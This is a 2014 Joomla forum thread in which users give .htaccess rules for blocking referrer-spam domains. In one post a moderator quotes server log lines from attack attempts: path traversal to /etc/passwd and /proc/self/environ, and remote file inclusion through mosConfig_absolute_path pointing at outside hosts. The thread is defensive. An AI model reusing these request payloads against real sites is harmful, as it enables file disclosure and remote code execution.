How to block spam referer

Discussion regarding Joomla! 3.x security issues.

Moderators: mandville, General Support Moderators

Forum rules
Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.
Forum Post Assistant / FPA - If you are serious about wanting help, you will use this tool to help you post.
Windows Defender SmartScreen Issues <-- please read this if using Windows 10.
Locked
irbis2000
Joomla! Apprentice
Joomla! Apprentice
Posts: 26
Joined: Sat Dec 12, 2009 2:31 pm

How to block spam referer

Post by irbis2000 » Mon Dec 15, 2014 9:10 pm

Hi,

I saw that I get visits from a referer and after the = it's my website's url
make-money-online. 7makemoneyonline .com/money.php?u=mywebsiteurl
How to block visits coming from such referers?
Is there any code that can be added to htaccess?
Thanks!
Last edited by mandville on Tue Dec 16, 2014 7:02 pm, edited 1 time in total.
Reason: broke links

SharkyKZ
Joomla! Hero
Joomla! Hero
Posts: 2901
Joined: Fri Jul 05, 2013 10:35 am
Location: Parts Unknown

Re: How to block spam referer

Post by SharkyKZ » Tue Dec 16, 2014 7:55 am

This is a standard method, but it doesn't seem to work against these new spammers:

Code: Select all

RewriteCond %{HTTP_REFERER} 7makemoneyonline\.com [NC]
RewriteRule .* - [F]
Try this:

Code: Select all

SetEnvIfNoCase Referer 7makemoneyonline.com spammer=yes

Order allow,deny
Allow from all
Deny from env=spammer

all rise
Joomla! Explorer
Joomla! Explorer
Posts: 366
Joined: Sat Mar 25, 2006 1:52 am
Location: Viet nam
Contact:

Re: How to block spam referer

Post by all rise » Tue Dec 16, 2014 9:31 am

Hi, do you know what is the purpose of these visits, thx

SharkyKZ
Joomla! Hero
Joomla! Hero
Posts: 2901
Joined: Fri Jul 05, 2013 10:35 am
Location: Parts Unknown

Re: How to block spam referer

Post by SharkyKZ » Tue Dec 16, 2014 9:42 am

Spammers want you to visit their site. Referer spam can also be used as a black hat SEO technique. Recently there's been a huge referer spam coming from buttons-for-website.com. Now it redirects to sharebutton.net. If you enter "buttons for website" in Google, chances are sharebutton.net will be shown in first result page.

irbis2000
Joomla! Apprentice
Joomla! Apprentice
Posts: 26
Joined: Sat Dec 12, 2009 2:31 pm

Re: How to block spam referer

Post by irbis2000 » Tue Dec 16, 2014 6:38 pm

Thanks SharkyKZ
Should I add both codes in htaccess or only the second?
Thanks!

User avatar
mandville
Joomla! Master
Joomla! Master
Posts: 15152
Joined: Mon Mar 20, 2006 1:56 am
Location: The Girly Side of Joomla in Sussex

Re: How to block spam referer

Post by mandville » Tue Dec 16, 2014 11:03 pm

what do you mean by "both htaccess" ? you should only have .htaccess

on a general note..
referrer spam is not in itself a security issue.
it is mostly done so that a url will either be seen in logs and clicked by the site admin or will appear in a public view stats and therefore be indexed.
an example grabbed off web is the screenshot.
an example of more suspicious activity in your logs that your host should block are

Code: Select all

13|/index.php?option=com_log&Itemid=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00|
13|/index.php?option=com_letterman&task=view&Itemid=&mosConfig_absolute_path=nic.bupt.edu.cn/media/id1.txt?|
13|/index.php?option=com_jwhmcs&controller=../../../../../../../../../../../../../../../etc/passwd%00|
13|/index.php?option=com_jfeedback&controller=../../../../../../../../../../../../../../../../proc/self/environ%00|
13|/index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../../../../../../../../../../../../../proc/self/environ%00|
13|/index.php?option=com_graphics&controller=../../../../../../../../../../../../../../../../proc/self/environ%00|
13|/index.php?option=com_fabrik&task=view&Itemid=&mosConfig.absolute.path=christenplein.com/id1.txt??|
13|/index.php?option=com_fabrik&controller=../../../../../../../../../../../../../proc/self/environ%00|
13|/index.php?option=com_dbquery&Itemid=../../../../../../../../../../../../../../../proc/self/environ%00|
13|/index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=../../../../../../../../../../../../../../
referrer spam reference http://en.wikipedia.org/wiki/Referer_spam
refere spam.jpg
You do not have the required permissions to view the files attached to this post.
HU2HY- Poor questions = Poor answer
Un requested Help PM's will be reported, added to the foe list and possibly just deleted
{VEL Team Leader}{TM Auditor }{ Showcase & Security forums Moderator}

SharkyKZ
Joomla! Hero
Joomla! Hero
Posts: 2901
Joined: Fri Jul 05, 2013 10:35 am
Location: Parts Unknown

Re: How to block spam referer

Post by SharkyKZ » Wed Dec 17, 2014 6:32 am

irbis2000 wrote:Thanks SharkyKZ
Should I add both codes in htaccess or only the second?
Thanks!
Only the second, since the first one doesn't seem to work with these new spammers like semalt.com, 7makemoneyonline.com and buttons-for-website.com.

irbis2000
Joomla! Apprentice
Joomla! Apprentice
Posts: 26
Joined: Sat Dec 12, 2009 2:31 pm

Re: How to block spam referer

Post by irbis2000 » Wed Dec 17, 2014 8:02 pm

Thanks SharkyKZ!


Locked

Return to “Security in Joomla! 3.x”